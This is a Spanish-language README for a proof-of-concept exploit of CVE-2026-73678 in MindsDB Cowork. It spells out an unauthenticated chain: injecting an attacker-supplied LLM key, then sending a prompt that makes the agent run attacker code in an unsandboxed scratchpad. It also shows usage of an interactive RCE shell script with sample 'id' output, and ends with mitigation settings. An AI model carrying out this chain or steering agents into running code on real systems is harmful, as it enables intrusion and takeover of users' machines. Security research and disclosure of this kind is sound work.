
Exploit PoC para CVE-2026-73678: RCE no autenticado en MindsDB Cowork mediante una clave LLM proporcionada por el atacante y la ejecución sin sandbox del scratchpad para ejecutar comandos del sistema operativo.
PoC para CVE-2026-73678 (CVSS 3.1 10.0 Crítico, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Análisis completo: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
El sidecar FastAPI cowork-server de Cowork expone /api/v1/ sin autenticación
(CWE-306), CORS allow_origins=["*"] (CWE-942), y la herramienta scratchpad
del agente Anton ejecuta Python generado por LLM mediante un exec() en bruto
sin sandbox (CWE-94).
Cadena: introducir la clave LLM del propio atacante mediante PUT /api/v1/settings/* →
POST /api/v1/responses/ con un prompt que hace que el agente ejecute código del
atacante en el scratchpad → ejecución arbitraria de comandos del sistema operativo
como el usuario que ejecuta la aplicación.
Adaptado del PoC del aviso GHSA-jcxw-h8ph-pxpv de MindsDB (crédito: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
El fragmento generado calcula os.urandom(4).hex() dentro del proceso de la víctima
y lo escribe en /tmp/RCE_PROOF.txt. El prompt le indica al modelo que no puede conocer
el nonce sin ejecutarlo. Si el texto devuelto contiene un nonce que coincide con el
archivo en disco, el código se ejecutó de forma demostrable — un modelo que alucina
no puede generarlo.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
No existe ninguna etiqueta de versión parcheada; las correcciones solo viven en las ramas
main de cowork-server/anton.
Solo para pruebas de seguridad e investigación autorizadas. No lo ejecutes contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.